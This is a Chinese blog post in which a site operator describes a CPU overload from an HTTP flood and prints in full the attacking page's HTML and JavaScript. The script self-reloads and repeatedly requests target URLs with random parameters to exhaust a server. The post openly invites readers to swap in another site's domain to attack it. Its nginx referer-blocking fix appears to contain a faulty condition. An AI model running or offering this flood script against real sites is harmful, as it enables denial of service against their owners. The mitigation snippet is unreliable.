分享一段通过html文件+js不停刷新访问某个站点达到CC攻击效果的代码

昨天收到邮件反馈,服务器CPU超高,Linux系统,我登录到服务器看确实cpu非常高,通过top命令看主要是php进程占用较高,如图 看样子是访问量非常大,他使用了nginx,于是我在nginx中开启了站点访问日...

昨天收到邮件反馈,服务器CPU超高,Linux系统,我登录到服务器看确实cpu非常高,通过top命令看主要是php进程占用较高,如图

attachments-2020-11-4SqN9z6x5fc0a978d911a.png
看样子是访问量非常大,他使用了nginx,于是我在nginx中开启了站点访问日志,开启后几分钟查看日志非常大,并且日志中都是http://xxx.cn/daji/6.html 这样的来路地址一致在不停访问首页,打开地址后发现该页面一直持续刷新,不停刷新,查看他源码看只有短短几行,如下,


<html>

<head>
    <title>
        hello world
    </title>
</head>

<body>
    <a href="http://xxxx.cn/daji/1.html" target="_blank">1</a>
    <a href="http://xxxx.cn/daji/2.html" target="_blank">2</a>
    <a href="http://xxxx.cn/daji/3.html" target="_blank">3</a>
    <a href="http://xxxx.cn/daji/4.html" target="_blank">4</a>
    <a href="http://xxxx.cn/daji/5.html" target="_blank">5</a>
    <a href="http://xxxx.cn/daji/6.html" target="_blank">6</a>
    <a href="http://xxxx.cn/daji/7.html" target="_blank">7</a>
    <a href="http://xxxx.cn/daji/8.html" target="_blank">8</a>
    <a href="http://xxxx.cn/daji/9.html" target="_blank">9</a>
    <a href="http://xxxx.cn/daji/10.html" target="_blank">10</a>
    <script language="JavaScript">
        function myrefresh() {
            window.location.reload();
        }
        setTimeout('myrefresh()', 8000); //
    </script>

    <div id="testloadimg">

    </div>
    <script type="text/javascript">
        var arr = [
            "http://web.tag.gg",
            "http://blog.tag.gg"];

        function timedCount() {
            var content = "";
            for (var i = 0; i < arr.length; i++) {
                content += "<img src=\"" + arr[i] + "?r=" + Math.random() + "\" />";
            }
            document.getElementById("testloadimg").innerHTML = content;
            setTimeout("timedCount()", 200);
        }
        timedCount();
    </script>
</body>
</html>


通过代码看在js中定义了一个数组,数组中存在大量网址,没刷新一次,页面就回自动访问数组中的网址,反复访问,不停访问,导致对方站点php请求不过来占用cpu爆搞,于是使用如下代码,在nginx配置文件中屏蔽了该域名,屏蔽后cpu瞬间下降到正常水平,但从日志看还是有请求访问,不过已经被我们规则拦截了,访问都报403了,

(也就是说,如果您想攻击某个网站,将代码中的域名更换成他的就可以,这样脚本不停访问,让对方脚本请求不过来.哈哈。看来我们也可以当黑客了)


解决方案:

valid_referers xxx.cn;
if ($invalid_referer = ''){
return 403;
}




  • 发表于 2020-11-27 15:25
  • 阅读 ( 1753 )
  • 分类:建站运营

你可能感兴趣的文章

相关问题

0 条评论

请先 登录 后评论
东北大表哥
东北大表哥

自由职业

161 篇文章

作家榜 »

  1. 东北大表哥 161 文章
  2. 小鹄 1 文章
  3. 阿天 0 文章
  4. 新百胜在线 0 文章
  5. 刘明明 0 文章
  6. 个的德3 0 文章
  7. 铂天先生 0 文章
  8. 王达 0 文章